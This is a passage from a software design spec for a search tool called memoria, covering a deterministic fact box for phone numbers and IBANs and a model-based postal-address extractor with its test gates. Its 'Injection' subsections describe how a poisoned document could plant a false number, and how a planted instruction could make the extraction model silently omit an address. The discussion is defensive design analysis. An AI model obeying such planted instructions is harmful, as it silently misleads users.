3244it, "no validator" meant "not a kind"; now it means "not this layer's
3245kind".
3246
3247**`number` on its own primes nothing either.** The lexicon maps
3248distinctive words and phrases; generic words count only in combination.
3249
3250**This is `query.openers`' trade made in the opposite direction, and draft
32511 claimed it was the same one.** `openers` is deliberately stingy — *"the
3252safe direction is not priming"* — because a wrong prime navigates away
3253from a page somebody was reading. The fact lexicon can afford to be
3254generous, and the reason is the validator, not a shared instinct: "mobile
3255app" primes `phone`, finds no phone number, and renders nothing.
3256
3257**It complements Enter-priming rather than competing with it.**
3258`IsQuestion` declines to prime for anything ending in `?` or opening with
3259an interrogative, so "what's the office phone number?" navigates nowhere
3260today, and those are disproportionately the queries a fact box answers.
3261Where both fire — "office phone number", no question mark — **Enter still
3262goes to the first result, not to the box's citation.** The box is a thing
3263to read, not a destination; changing what Enter means depending on whether
3264a regular expression matched is the unreliable-Enter failure
3265`PrimesFirstResult` exists to avoid.
3266
3267#### The span, the canonical form, and this spec's two arithmetic rules
3268
3269**The span is what the document wrote**, byte for byte, including
3270punctuation, the `(0)`, and any extension written after it. It is what the
3271box displays and the only thing the box displays. Separators inside a span
3272include **U+00A0**, because Word and Notion paste non-breaking spaces and
3273the chunker does not normalise interior ones — a recogniser written with
3274Go's `\s`, which does not match U+00A0, silently finds nothing in pasted
3275text.
3276
3277**The canonical form is match-only.** It is what candidate identity is
3278keyed on, and what the validator runs on. It is **never rendered and never
3279an operand.** An Irish national number canonicalises to E.164 so that
3280`01 547 7854` and `+353 (0)1 547 7854` are recognised as one number rather
3281than two candidates.
3282
3283Two of this spec's own rules have to be read against that, and both are
3284ruled here rather than left to be found:
3285
3286- **§8.7 forbids *"memoria parsing a display string back into a number …
3287 a second parser"*.** What it forbids is a parse that feeds something
3288 memoria then shows or computes with — the `"€1.2M"` case. A canonical
3289 form that is never displayed and is never an operand is not that.
3290- **Decision 10 says memoria never does arithmetic.** A mod-97 check
3291 digit is arithmetic. It is not a number memoria reports: it decides
3292 whether a string is an IBAN at all. Decision 10 governs numbers in
3293 answers; a checksum is a predicate. **That is a narrowing of Paul's
3294 decision made by the spec author, and it is filed in §13 beside decision
3295 15's, rather than one being marked and the other slipped through.**
3296
3297**Draft 1's own example failed draft 1's own validator**, which is worth
3298keeping visible: `+353 (0)1 547 7854` is not E.164 — E.164 has no spaces
3299and no `(0)` — so "validated by E.164" was a rule the motivating case did
3300not pass. The table says *canonicalises to*, which is what was meant.
3301
3302#### The label, and the four ways it goes wrong
3303
3304**The label is taken from the document and is never composed.** Given the
3305span's position in the chunk text:
3306
33071. **Take the run back to the start of the enclosing sentence or line.**
3308 **If that run contains another recognised span, start after it** — in
3309 `Phone: 01 547 7854 - 01 598 1234` the second number's run would
3310 otherwise be `Phone: 01 547 7854 -`, labelling the second number with
3311 the first one's value.
3312
3313 **The spans it skips are of every kind, not only the kinds the query
3314 named**, and that is a rule rather than an implementation note: a
3315 label that depends on what was asked for is not the document's label.
3316 Asked for `phone` alone, *"Email paul@tito.io or phone: 01 547 7854"*
3317 came back labelled `Email paul@tito.io or phone` — one fact's value
3318 inside another's label, which is the exact failure this rule exists to
3319 stop, reappearing because the rule could not see the span.
33202. **If what remains ends in a separator** — `:`, `—`, `–`, `-`, `=`, tab
3321 — **and is non-empty after removing it and trimming, and is 60
3322 characters or fewer, that is the label.**
33233. **Empty after the separator → fall through.** A markdown bullet is the
3324 case: the chunker keeps lines verbatim, so `- +353 1 547 7854` gives a
3325 run of `-`, which "ends in a separator" and yields nothing. Two such
3326 bullets give two empty labels, collide, and would have suppressed the
3327 box for a plain contact list.
33284. **Longer than 60 → no box for that kind.** Not the trail instead. The
3329 document labelled this value and the label will not fit, so
3330 substituting a vaguer one is memoria replacing the document's words
3331 with its own: *"The number you must never give to customers because it
3332 rings the CEO directly is: 01 598 1234"* becomes `Contacts`, sitting
3333 beside `Reception — 01 547 7854`. Dropping the candidate instead is
3334 worse, because that turns a two-candidate ambiguity into a confident
3335 single answer.
33365. **Otherwise the chunk's heading trail**, and if there is none — an
3337 upload with no headings, which is the common pasted-file shape — **the
3338 document title**, never the empty string.
3339
3340**A leading list marker is markup, not part of the label (2026-09-29).**
3341Rule 1 anchors the run at the start of the line, and a list item's line
3342starts with its marker. So `- Office: 01 547 7854` was labelled `- Office`,
3343and a to-do item `- [x] Office: …` was labelled `- [x] Office`. For a
3344Notion page, memoria's own renderer wrote that marker
3345(`notion/markdown.go` renders bulleted items and toggles as `- `, to-do
3346items as `- [ ] `/`- [x] `, quotes as `> `), so the label carried memoria's
3347syntax as though the document had written it. (A numbered item's `3. `
3348was already dropped, because the sentence split treats a full stop after
3349a digit as a sentence end. An earlier draft of this paragraph said
3350otherwise.)
3351
3352**The rule:** before rule 2 runs, the run — from where rules 1 and 1's
3353earlier-span clause start it, up to the value — loses its leading
3354indentation and one leading marker: `-`, `*`, `+` or `•`, each followed
3355by a space; `N.` or `N)` followed by a space; either of those followed by
3356`[ ]` or `[x]`; or `>` followed by a space. A bare bullet (`- +353 1 547
33577854`) is untouched: its run is trimmed on the right to `-`, which has no
3358space after the marker and so is not one, and rule 3 still sends it to
3359the trail, exactly as before. The
3360cost is stated beside narrowing's other limitations: a literal prefix
3361shaped like a marker cannot be told apart from markup.
3362
3363**Draft 1 required the value to start its own line and capped the label at
336440, and the repo's own fixture is what breaks that.**
3365`index/rank_test.go:56` — built from the live instance where Paul hit this
3366— holds one chunk reading:
3367
3368> *"Turn the knob. The office phone number is: +353 (0)1 547 7854. We
3369> also have the following unused phone numbers: +353 (0)1 598 1234."*
3370
3371Under draft 1 both numbers are mid-paragraph, both fall to the heading
3372trail, and both come back labelled `Office Address`: two identical labels,
3373one of which the document explicitly calls **unused**. The box would have
3374shown them as equals with the disambiguating word one clause away. That is
3375§8.7's *"cites correctly while being wrong"* in a lookup coat. Sentence
3376anchoring fixes it by doing less: the labels become *"The office phone
3377number is"* and *"We also have the following unused phone numbers"*, and
3378the reader can see which is which because the document said so.
3379
3380**The sentence split is naive, and draft 2's claim that it fails safely is
3381false.** A boundary placed too *late* yields a shorter run that still
3382passes every test above: `Dr. Smith's direct line: 01 …` yields
3383`Smith's direct line`, and `St. Stephen's Green office: …` yields
3384`Stephen's Green office`. **That is a label the document did not write,
3385produced by the rule whose entire justification is that it never
3386composes.** A short fixed exception list — `Dr. Mr. Mrs. Ms. St. No. ext.
3387Ltd. Co.` — covers the common cases and is **stated as incomplete**. It
3388must not grow into a sentence tokeniser; where it is wrong it is wrong in
3389the composing direction, and saying so is the difference between a known
3390limit and a discovered one.
3391
3392**60 characters is a guess.** What is not a guess is that it must clear
3393the motivating fixture, whose longer label is 47.
3394
3395#### Candidates, ambiguity, the cap, and one box per kind
3396
3397**A candidate is one canonical value.** The same number in five forwarded
3398signatures is **one** candidate, cited to the best-ranked passage carrying
3399it. Two different numbers in one chunk are **two** — the fixture above is
3400exactly that shape, and treating a chunk as the unit would hide the
3401second.
3402
3403**Every rule below is applied per kind, and a multi-kind query renders one
3404box per kind.** A cap counted across kinds would let two phone numbers and
3405two email addresses suppress each other, and a collision check across
3406kinds would suppress a phone and an email that happened to share a label.
3407
3408§8.7's slot rule is *"two or more → ambiguity, never extra evidence, and
3409never collapsed"*, and it resolves that by showing no number. **The fact
3410box shows all of them instead, and the difference is not inconsistency.**
3411An average built from two of three operands is a *wrong number*: the
3412question had one answer and memoria produced a different one. Two phone
3413numbers are two *right answers* to an underspecified question. §8.7's
3414ambiguity is incompleteness, which can only be refused; this one is
3415underspecification, honestly served by showing both, labelled and cited.
3416
3417**Never by picking.** Not highest BM25, not first, not longest. Rank order
3418sorts a result list and carries no claim about which number is the office
3419one. **The one narrowing allowed is a match between the reader's words
3420and the document's own label, and only once the cap has fired** (Paul,
34212026-09-29, below). That is not picking in this paragraph's sense: no
3422score and no order are involved, every candidate is treated the same,
3423and when two labels match, nothing renders.
3424
3425**A box row carries the document title and the heading trail as well as
3426the label**, exactly as a result row carries both and for the reason
3427recorded there: two pages called "Contact" under different documents are
3428the same row to a reader who cannot see which is which.
3429
3430**Two candidates whose whole citation line collides — same title, same
3431trail, same label — render no box.** Keyed on the line rather than the
3432label alone, because a supplier page and the office page both falling to
3433the trail `Contact` are perfectly disambiguated by their titles, and
3434suppressing that box would be losing a real answer to a rule aimed at a
3435different problem. Where the whole line does collide, the page would show
3436one identical row twice against two different values — not an enumeration
3437but a contradiction with no way for the reader to resolve it, and the
3438results list is the honest surface for that.
3439
3440**Capped at three inclusive: three renders, four renders nothing.**
3441
3442#### Narrowing by the reader's own words (Paul, 2026-09-29)
3443
3444**The ruling.** Paul asked why *"what is the office phone number?"* showed
3445no box, on a page whose second result says *"The office phone number is:
3446+353 (0)1 547 7854"*. The proposal he approved (*"Sure."*), in the words
3447he was shown:
3448
34491. *"When there are too many candidates, use the other words in the
3450 question ("office") to narrow them down. If exactly one candidate's
3451 label contains them, show that one."*
34522. *"Treat " - " as a break when working out labels."*
34533. *"Keep the current rule as the fallback: if narrowing doesn't leave
3454 exactly one candidate, still show nothing rather than guess."*
3455
3456**This section implements 1 and 3 as he approved them, and 2
3457differently, for a reason he has not yet been told.** Part 2's premise
3458was wrong. The ` - ` he saw was the search snippet flattening Notion's
3459list lines. The stored text has real line breaks, which the label rule
3460already treats as a boundary. The actual defect is the list marker
3461those lines start with, and the list-marker rule above fixes that. **An
3462earlier draft of this section went further than the ruling**: it
3463narrowed below the cap, and it showed every match rather than exactly
3464one. The first review caught both, and this text is back to the ruling.
3465
3466**When it applies: only when the cap has fired.** If a kind has more
3467than three candidates after the §4.1 ruling, it would render nothing,
3468and narrowing is attempted. Otherwise nothing changes: a kind with three
3469or fewer candidates renders or is suppressed by collision or rule 4
3470exactly as before, and the reader's words play no part.
3471
3472**The qualifiers** are the query's tokens (`fact.tokens`: lowercased, split
3473on anything that is not a letter or digit) with these removed:
3474
3475- every token of every lexicon phrase, for every kind, so `phone`,
3476 `mobile`, `email`, `address`, `vat` and the rest are never qualifiers;
3477- the generic `number`, `numbers`, `no` and `nr`;
3478- a fixed list of question and function words: interrogatives, articles,
3479 pronouns, auxiliaries, common prepositions, and request verbs such as
3480 `tell`, `give`, `find` and `show`. The list is in the code, it is
3481 stated as incomplete, and like the abbreviation list it must not grow
3482 into a parser;
3483- single-character tokens, which disposes of the `s` in `what's` and
3484 `Tito's`.
3485
3486Pinned examples: *"what is the office phone number?"* → `{office}`;
3487*"office phone"* → `{office}`; *"office mobile"* → `{office}`, because
3488`mobile` is how Phone is asked for; *"what's Tito's phone number"* →
3489`{tito}`; *"phone number for the Dublin office"* → `{dublin, office}`;
3490*"support email"* → `{support}`; *"phone number"* → none.
3491
3492**A candidate matches when its label is the document's own and contains
3493every qualifier as a whole token.**
3494
3495- **"The document's own" means rule 2**, the sentence-anchored label
3496 ending in a separator. A rule 5 label (the heading trail, or the
3497 title) never matches. This is what makes narrowing work on the
3498 motivating page. The unused numbers there are listed under the heading
3499 `Office Address`, so a rule that matched fallback labels would match
3500 every number on the Office page, unused ones included, and could never
3501 leave exactly one. **Provenance is recorded when the label is made
3502 (`fact.Found.Own`), never inferred** by comparing the label's text
3503 with the heading. A document can write a label identical to its own
3504 heading.
3505- **Whole tokens, compared on `fact.tokens`**, so `office` does not
3506 match `offices` or `backoffice`. There is no stemming.
3507- **Every qualifier, not any.** `Dublin office` does not match a label
3508 saying `Office phone`.
3509
3510**The outcome, for a kind over the cap:**
3511
3512- **Exactly one candidate matches:** that candidate renders, alone. If
3513 its label is over-long (rule 4), the kind renders nothing: the
3514 document's own words are the answer, and they cannot be shown. Rule 4
3515 is kept for matching only. `fact.Scan` returns the over-long text with
3516 `NoBox` set, and it is never rendered.
3517- **None, or two or more:** nothing renders, as before. Narrowing never
3518 picks between two matches.
3519
3520**The box says it narrowed.** Under the row, one line:
3521
3522> Matched “office”. 3 other phone numbers are in these results.
3523
3524It names the matched qualifiers and the number of candidates left out,
3525which is always at least three because the cap had fired. The count is
3526taken after the §4.1 ruling, like every other count in this section, so
3527a withheld document neither adds to it nor is revealed by it. It carries
3528no values and no links: the results list below is where the others are.
3529
3530**Why this line is required: narrowing weakens this section's injection
3531defence, and the line is what keeps that visible.** *"Injection"* below
3532says the ambiguity rule fails safe against poisoning: a planted second
3533number makes the box show both, or nothing. Narrowing changes that in
3534one case. On a page already over the cap, a planted number whose label
3535alone contains the reader's word becomes the only row: a single,
3536confident, cited answer. The count line is the mitigation. It tells the
3537reader that other numbers exist and that the box chose among them on
3538the reader's own word. It is not a fix, and this spec does not claim
3539one.
3540
3541**Stated limitations, so that they are known rather than discovered:**
3542
3543- **Only the value right after the separator gets the label.** In
3544 `Office: 01 547 7854, 01 598 1234`, only the first number is labelled
3545 `Office`. The second follows another recognised span, not a
3546 separator, so it falls to the trail and can never match. The same
3547 applies to `Office:` followed by bare bullets.
3548- **Identity comes before matching.** A value's first occurrence is its
3549 candidate. If that occurrence fell to the trail, a later occurrence of
3550 the same value with a matching label does not rescue it.
3551- **Multi-kind queries share one set of qualifiers.** *"office phone and
3552 support email"* applies `{office, support}` to both kinds. Usually no
3553 label has both, and neither kind is narrowed.
3554- **The lexicon limits which kinds are recognised at all.** *"main office
3555 landline"* primes no kind (`landline` is not in the lexicon), so no box
3556 is attempted.
3557- **A literal prefix shaped like a list marker is indistinguishable from
3558 markup.** A document whose label genuinely begins `2. ` loses it.
3559
3560
3561**Model kinds are not narrowed.** §8.9's candidates come from a model
3562reading passages, so there is no document-authored separator label to
3563match. They keep §8.9's own rules.
3564
3565**Nothing here is logged**, as in the rest of this section: the
3566qualifiers are words from the query, and the query is content.
3567
3568#### Where it sits on the page
3569
3570Inside the `results` template definition, not above it. `results.html` is
3571rendered two ways from one definition — inside the page on a scriptless
3572submit, alone on `GET /search` for `search.js` — and a box outside it
3573would sit above a fragment that swapped underneath it, leaving query N−1's
3574answer over query N's results on every keystroke.
3575
3576**Below §6.5's notices and above the list.** `results.html` already puts
3577the withholding callout above the results because *"a reader who scrolls
3578past the last result has already decided what the page means"*. A
3579confident single answer above the line saying the page is partial is the
3580same mistake reversed.
3581
3582**Search page only.** Decision 14 makes the search page and
3583`/documents/{id}` the only two passage surfaces, and this is a feature of
3584one of them.
3585
3586**Zero candidates renders nothing at all** — not "no phone number found".
3587The corpus is not the world, and a confident absence is this codebase's
3588own worst failure shape.
3589
3590**Gate 14's first clause extends to the box** — every character of it
3591traces to a cited passage. **Its second does not.** "An all-dropped answer
3592says so rather than rendering empty" exists because an empty 🤖 paragraph
3593is indistinguishable from AI being off; a box that does not appear is
3594indistinguishable from nothing, which is what it means.
3595
3596#### Injection, and the one place ambiguity pays for itself
3597
3598§8.5's mitigation for a poisoned document is that every claim carries an
3599openable citation, and that it is a partial one. The box sharpens the
3600problem: it promotes a single document's assertion to the top of the page
3601with a validated-looking format around it. `Office phone: +353 1 000 0000`
3602in an uploaded file is a fact box, and no model was involved in believing
3603it.
3604
3605Two things bound it and neither is a fix:
3606
3607- The value is a cited span of a passage that passed §4.1, so the reader
3608 can open it, and a poisoned document is one somebody in this team put in
3609 this corpus.
3610- **The ambiguity rule fails safe against poisoning.** A planted second
3611 number does not replace the real one and does not outrank it — it makes
3612 the box show both, or show nothing if the whole citation line collides,
3613 or vanish past the cap. The attack that works against a single-answer
3614 box degrades into a visibly contradictory page, which is a property
3615 worth keeping rather than an accident to optimise away.
3616 **Narrowing (above, 2026-09-29) weakens this in one case.** On a page
3617 already over the cap, a planted label that alone carries the reader's
3618 word becomes the only row. The "Matched … N other …" line is what keeps
3619 the other candidates visible. That section states this rather than
3620 leaving it to be found.
3621
3622#### Sequencing
3623
3624**Slice 0, entirely.** Recognisers, the lexicon, the label rule, the box
3625and gates 35–37 need no sibling and no model. **Gate 34 needs a custody
3626fake that rules per item**, which `fixedCustody` is not — it returns one
3627disposition for every candidate from a single field — so the gate lands
3628with a fake extended to answer per item id, in `internal/memoria` at store
3629level, which is where its "assert the struct, not the page" demand is
3630natural anyway. Drafts 1 and 2 both said this gate could run against
3631"`memoriatest`'s sibling stub, which exists"; there is no such stub, and
3632that is the renamed-test failure §10 opens with, committed twice in the
3633section that cites it.
3634
3635### 8.9 The model half: metadata deterministic analysis cannot reach
3636
3637Paul's ruling, 2026-09-19, amending decision 15: *"do as much as possible
3638with deterministic analysis, and then attempt to build metadata with the
3639best value models via TensorX that make sense."*
3640
3641The question put to him was narrow — should a postal address, which has
3642no checksum and therefore no validator, be extractable by a model? **The
3643answer he gave is general**: the deterministic layer is the floor and not
3644the ceiling, and where it cannot reach, a best-value TensorX model may.
3645**Everything below that sentence is the spec author's proposal for how**,
3646and decision 15's row says which parts are his and which are not.
3647
3648**Draft 1 of this section overclaimed, and a review by Codex GPT-6-Astra
3649(2026-09-27) is why it no longer does.** It said "the model proposes, a
3650string comparison disposes" and that a hallucinated address "cannot reach
3651the page". The check it described proves where a value's **bytes** came
3652from. It does not prove the value is an address, that it is the whole
3653address, that it is the relevant one, or that the model returned every
3654address it was shown. Those are four model judgements, and this section
3655now says so instead of implying the check makes them.
3656
3657#### Which kinds, decided by the kind and never by the outcome
3658
3659**Eligibility is a property of the kind.** A fixed allowlist of *model
3660kinds* — today exactly one, `address` — may be sent to a model. **A
3661validator-backed kind never is**, whatever the deterministic layer did
3662with it: produced candidates, produced none, or produced some that the cap,
3663a collision or an over-long label then suppressed (§8.8). Draft 1 said the
3664model runs "where the deterministic layer produced nothing", which invites
3665treating an empty box as nothing; the box is empty for five different
3666reasons in §8.8, and none of them is licence to ask a model for a phone
3667number.
3668
3669**Kinds are independent.** "Phone number and postal address" is two
3670requests: the phone goes to §8.8, the address to this section, and a
3671validated phone does not suppress the address request or the reverse.
3672
3673**"No model is called" is a claim about this metadata path, per kind.**
3674§8.2's router runs after the box and may call a model for an answer
3675regardless; §8.8 says so and this does not change it.
3676
3677**With AI off, nothing in this section happens** and §8.8 is unchanged.
3678Decision 5's floor is the search page and the deterministic box.
3679
3680**Built ahead of the rest of slice 2**, on `feat/model-fallback`
3681(2026-09-27): the provider client, the `MEMORIA_AI` switch, this
3682section's extraction path and gate 39 — and nothing of the embedding
3683half. §11 sequences provider calls into slice 2; this is the first of
3684them to land. Draft 1 said gate 31 enforced the sequencing; it did not —
3685gate 31 forbids logging a provider's response body and says nothing about
3686when a provider may be called. What keeps content in the instance today
3687is the switch: with `MEMORIA_AI` unset no extractor is wired and gate 39
3688asserts, with its presence half, that no request is made.
3689
3690#### What is sent
3691
3692**Of the top eight ruled results, those still present, by rank** — the
3693passages §4.1 allowed in this request, bounded at eight to match §8.6's
3694answer-time budget. **Bounded by rank first and then thinned, never
3695refilled**: a chunk deleted between the ruling and the read makes the
3696payload smaller; it does not let result nine in. (The first build counted
3697survivors instead, and a review deleted result one and watched 2-9 go
3698out.) Not the twenty-five §8.8 scans: an address in result eleven is a
3699recall limit this section accepts in exchange for a bounded payload and a
3700response inside the deadline. Each passage is sent with an index, and
3701nothing else about it — no title, no path, no id.
3702
3703**Per request, and that includes live search.** `GET /search` renders the
3704results region on each pause in typing and runs this path like the full
3705page does, so a query that asks for an address sends passages on every
3706debounced keystroke that reaches the server. The request context bounds
3707it — `search.js` aborts a superseded fetch and the call is cancelled with
3708it — but it is still a request per pause, and the README says so.
3709
3710**Egress is the existing category with a new trigger**, and §3.2 now says
3711both halves: the same recipient and the same kind of transmission as the
3712answer path, but sent when a query names a model kind whether or not a
3713generated answer would follow. **The README names it now**, because
3714unlike the answer path it exists: it says what is sent, to whom, when,
3715and that live searches count. §3.6 is the full assistant's paragraph and
3716records why it is not yet the README's; §8.3 names this trigger beside
3717embeddings and answers.
3718
3719**If decision 16 lands** — TensorX as zero-data-retention, treated as
3720equivalent to local inference, proposed on `design/zdr-treat-as-local` —
3721the retention wording here and in §3.2 aligns with it. **The transmission
3722disclosure does not go**: decision 16 changes what is retained, not what
3723is sent, and it says so itself.
3724
3725#### What comes back, and what memoria checks
3726
3727**The response contract** asks for every postal address in the sent
3728passages, as a list of `{passage: <index>, text: <exact bytes>}`, and
3729nothing else. **A response the provider marks truncated is rejected
3730whole**, not partially used; a malformed one likewise.
3731
3732**Each proposal becomes a coordinate or is dropped.** For every returned
3733`{passage, text}`:
3734
37351. `passage` must name a passage that was sent. A reference to a passage
3736 that was not sent — including an authorised result ranked ninth, which
3737 was never in the request — is dropped.
37382. `text` must be non-empty, at least 12 bytes, and contain a digit, a
3739 comma or a line break — **structural, not a validator**, and there to
3740 stop `Dublin` or `1` passing because they occur somewhere.
37413. **`text` is located in that passage by exact byte search — no
3742 normalisation of case, whitespace, quotes or Unicode form.** NBSP versus
3743 space, curly versus straight quotes, a line break flattened to a space:
3744 each is a refusal, deliberately. A span crossing two passages is a
3745 refusal. These are real recall limits and they are chosen over any
3746 mapping back to source bytes, which would be a second parser (§8.7).
37474. **The first occurrence in that passage, by byte offset, is the one** —
3748 deterministic, and never the provider's return order or a map's.
37495. The occurrence must **begin and end on a word boundary** and must **not
3750 lie inside a span §8.8's recognisers found** — a street name inside an
3751 email address is not an address.
37526. The candidate is now the immutable coordinate **(passage, start byte,
3753 end byte)**. The span displayed is sliced from the document at it; the
3754 label is derived by §8.8's five rules at `start`; the citation is that
3755 passage. **The model's own string is discarded** — its only role was to
3756 be found.
3757
3758**Identity is the byte-exact span.** An address has no canonical form, so
3759two spellings are two candidates; the same bytes in two passages are one,
3760cited to the better-ranked passage, as §8.8 does.
3761
3762**Cap, collision and over-long labels then apply to the accepted
3763proposals**, per §8.8, with the same results: four accepted addresses
3764render nothing, a colliding citation line renders nothing, an over-long
3765label silences the kind.
3766
3767#### What does not survive, stated rather than implied
3768
3769Draft 1 said every §8.8 guarantee survives. Three do not, and a reader
3770of a model row has to be told:
3771
3772- **"Never picks" does not hold.** §8.8 scans every recognised candidate
3773 in its result set; this section sees only what the model chose to
3774 return. If the passages hold four addresses and the model returns one,
3775 every check passes and the box shows one address as though it were the
3776 only one. **That omission is undetectable from inside memoria.** The
3777 exhaustive contract and the truncation refusal reduce it; nothing
3778 removes it.
3779- **The cap and collision rules cannot fire on what was never returned.**
3780 An omitted fourth address means a box of three where §8.8 would have
3781 shown none.
3782- **§8.8's poisoning argument weakens.** A planted second phone number
3783 makes a deterministic box show both or vanish — **except on a page over
3784 the cap where the planted label alone carries the reader's word**, which
3785 §8.8's narrowing (2026-09-29) turns into a single row with a line
3786 counting the others. A planted instruction in
3787 a passage can make the model omit the real address instead — the attack
3788 §8.8 says degrades into a visible contradiction degrades here into a
3789 silent omission.
3790
3791**So a model row never inherits the deterministic layer's claim.** It is
3792marked 🤖 and names **both the provider and the model** — "TensorX ·
3793deepseek/deepseek-v4-flash-0731" — and is visually distinct from a row a
3794checksum vouched for. Both, because decision 4 names the *provider*: a
3795row naming only the model names DeepSeek's weights and never the company
3796that received the passages. (Draft 2 said "names the model" while citing
3797the requirement to name the provider; a review caught the substitution.) A reader must be able to tell "validated" from "a model
3798pointed here, and the text really is in the document" at a glance.
3799
3800**What the checks do guarantee, narrowly:** every accepted value is a
3801byte-exact span of a passage that passed §4.1 in this request and was
3802sent; its label is the document's; its citation opens on it. **Its
3803classification, completeness and relevance are the model's judgement.**
3804
3805#### Model and tier
3806
3807`model.cheap` (§8.2, §8.3 — `deepseek/deepseek-v4-flash-0731` at the time
3808of writing) **is the chosen initial tier, not a consequence**. Paul asked
3809for "best value models"; extraction from eight passages is the cheap
3810tier's work under §8.2. A better model would extract better, and draft 1's
3811claim that a string-checked task "does not improve with a better model"
3812was wrong. Re-measure against labelled cases before treating the tier as
3813settled.
3814
3815**Deadline: 800 ms**, §6.5's sibling deadline reused. The call rides the
3816request's context, so an abandoned keystroke on the fragment route cancels
3817it. Past the deadline, or on any provider error, the box renders without
3818model rows and the page is otherwise unchanged. **Nothing from the request
3819or the response is logged** — status and a fixed string only (gates 4, 31).
3820
3821#### Four surfaces the first build missed
3822
3823Found by the final pre-merge review (Codex GPT-6-Astra, 2026-09-27), each
3824reproduced before it was fixed, and each a place content could leave or a
3825claim could be false **outside** the path the section above describes:
3826
3827- **Go's own transport logger.** With keep-alives on, bytes a provider
3828 sends on an idle pooled connection are reported by `net/http` with the
3829 standard library's `log.Printf`, quoting them — past every sanitised
3830 error path. The client disables keep-alives; a fresh handshake per call
3831 is the cost, inside the deadline.
3832- **The footer on every page.** It said "no document ever leaves this
3833 instance" while a search had just sent passages. It now states the
3834 switch: with AI on it names TensorX and the trigger; with AI off it
3835 makes the strong claim, which is then true. A gate walks every declared
3836 GET route and checks each footer at whatever status it renders; a route
3837 that renders no footer must be on a list with its reason, or the walk
3838 fails, and each listed reason was verified rather than assumed. The
3839 pages that exist only when Home is configured are checked by name
3840 through the Home fixture — eight of them, including four `/auth/`
3841 failure pages that render the footer at 400. That is the coverage; it
3842 is not "every page in every configuration", and a new Home page has to
3843 be added there by hand. (The first two versions of this gate missed,
3844 in turn, every non-200 page and then the four `/auth/` failure pages —
3845 each found by review.)
3846- **Processing time.** The deadline covered the call and not the work on
3847 its response; a legal-sized response of repeated proposals took 6.8 s to
3848 validate. One deadline now covers both, identical proposals are
3849 validated once, and the recognisers run once per passage.
3850- **Native search.** `POST /api/native/search` built the box — so called
3851 the model — and its response has no field for facts: egress for an
3852 answer the client never received. It now searches without the box, and
3853 moves back when the native client can show attributed facts.
3854
3855#### Injection
3856
3857§8.5 is unchanged and its mitigation is the same partial one, with the
3858omission case above added to it. **The checks defend against invented
3859bytes; they defend against neither the corpus lying nor the model being
3860steered into silence.**
3861
3862#### What "that make sense" leaves open, and it is Paul's
3863
3864Which metadata is worth a query-time model call. Postal address is ruled
3865in. Opening hours, a person's role, an effective date, a registration
3866number in a format memoria does not know are plausible and unruled. **The
3867proposed test** is "is the answer a verbatim span somebody would want
3868cited" — anything needing summary is an answer, not metadata, and §8.2
3869owns answers. §13 records it.
3870
3871**And the deterministic half of Address is not built yet, which is the
3872next step Paul's rule asks for.** A validated eircode certifies the
3873address block it ends; extracting that block deterministically would serve
3874most Irish addresses with no model at all. §12 carries it.
3875
3876#### Gate
3877
3878**39. The model half sends only what it may, accepts only what it can
3879locate, and never touches a validator-backed kind** (§8.9). Against a stub
3880provider that records every request body and returns scripted responses.
3881**Every case asserts on the recorded requests as well as on the page**,
3882because draft 1's version could not see an egress that had already
3883happened by the time the box rendered nothing.
3884
3885- **Presence.** A scripted span that is in a sent passage renders, as the
3886 full tuple `(span, title, trail, label, DocumentID, Ordinal)`, marked 🤖
3887 with the model named — and the recorded request contains exactly the
3888 top eight ruled passages.
3889- **A span in no passage** → no row; the stub confirms the response was
3890 delivered, so "no row" is a refusal and not a failed call.
3891- **A span in an authorised result ranked ninth**, which was never sent →
3892 no row. A check run against all authorised results rather than the sent
3893 set passes every other fixture.
3894- **A withheld document**, with a visible control in the same search: the
3895 recorded request contains the visible passage and **not** the withheld
3896 one, and a span present only in the withheld one renders nothing.
3897- **The same text in a visible and a withheld passage** → one row, cited
3898 to the visible passage, every tuple field checked.
3899- **Two occurrences in one passage with different labels** → the first by
3900 byte offset, both label and citation.
3901- **Normalisation refusals:** NBSP, curly quotes, a flattened line break —
3902 each returned in the "wrong" form → no row.
3903- **Short and embedded spans:** `Dublin`, the empty string, and a
3904 street-name fragment inside a recognised email → no row.
3905- **A truncated response** → no model rows at all.
3906- **Validator-backed kinds never reach the provider**, counted at the stub
3907 by purpose: zero valid candidates, candidates suppressed by the cap, by
3908 a collision, by an over-long label, and a mixed `phone number and postal
3909 address` query — which must send exactly one request, for the address.
3910- **AI off** → zero requests for every fixture above; **with a presence
3911 half**, the same query with AI on does send one.
3912- **A provider error and a timeout** → the page renders without model rows,
3913 and nothing from either is in the log.
3914- **Four addresses in the passages, one returned** → one row renders. This
3915 is the undetectable omission, asserted as the documented behaviour so
3916 that it is a known limit and not a surprise; the day something can detect
3917 it, this case goes red on purpose.
3918
3919Draft 1 listed "render the model's string instead of the source slice" as
3920a mutation this gate catches. **It cannot, and it does not matter:** for an
3921exact match the bytes are identical. What matters is the coordinate — which
3922occurrence, which passage, which citation — and the tuple assertions above
3923are what see a wrong one.
3924
3925---
3926
3927## 9. Surfaces
3928
3929### 9.1 What memoria exposes
3930
3931Draft 1's §9 specified `POST /ingest`, `DELETE /ingest/{doc}` and
3932`GET /feed?since=` with per-consumer bearer tokens — **the inbound push
3933surface decision 7 forbids and §6.1 argues against**. Both reviewers
3934caught the contradiction; it was carried over from an earlier pass that
3935predated the pull-only ruling.
3936
3937memoria exposes exactly two surfaces:
3938
3939- **A person-facing web surface**, authenticated by home assertion,
3940 scriptless-first. `GET /query?q=` renders passages; `&answer=1` adds
3941 the model layer. `q` capped at 1 KiB and **never logged**.
3942- **A connector ingest surface for memoria-owned content only** (§4.2) —
3943 external connectors and manual upload. Per-connector bearer token
3944 stored hashed, origin allowlisted, body cap 1 MiB with the reason
3945 measured before the constant is committed. **This is not a sibling
3946 path**, and a sibling presenting a connector token is refused: the two
3947 credential sets are disjoint and separately scoped.
3948
3949**What the app actually serves.** Gate 17 **is** implemented, as of
39502026-09-05 — `TestNoUndeclaredRoutes` walks the router's registrations
3951and fails any this list does not name. main's copy of this paragraph
3952said it was specified and not implemented, which was true of that
3953branch and stopped being true on merge. The list stays written down
3954anyway, because a gate read from a list that matches the app is worth
3955more than one read from memory:
3956
3957`GET /`, `GET /search`, `GET /documents/{id}`, `POST /documents`,
3958`GET` and `POST /documents/{id}/delete` (the GET asks before the POST
3959deletes), the connector routes under `/connectors/…`, public
3960`GET /help/open-source`, `POST /appearance` (the shared chrome's
3961Appearance cookie: inside CSRF, outside the session gate), public static
3962`GET /static/credits.css`, and the auth routes (including
3963`GET /auth/landed`, where a verified link lands on the way back to the
3964page the person asked for).
3965
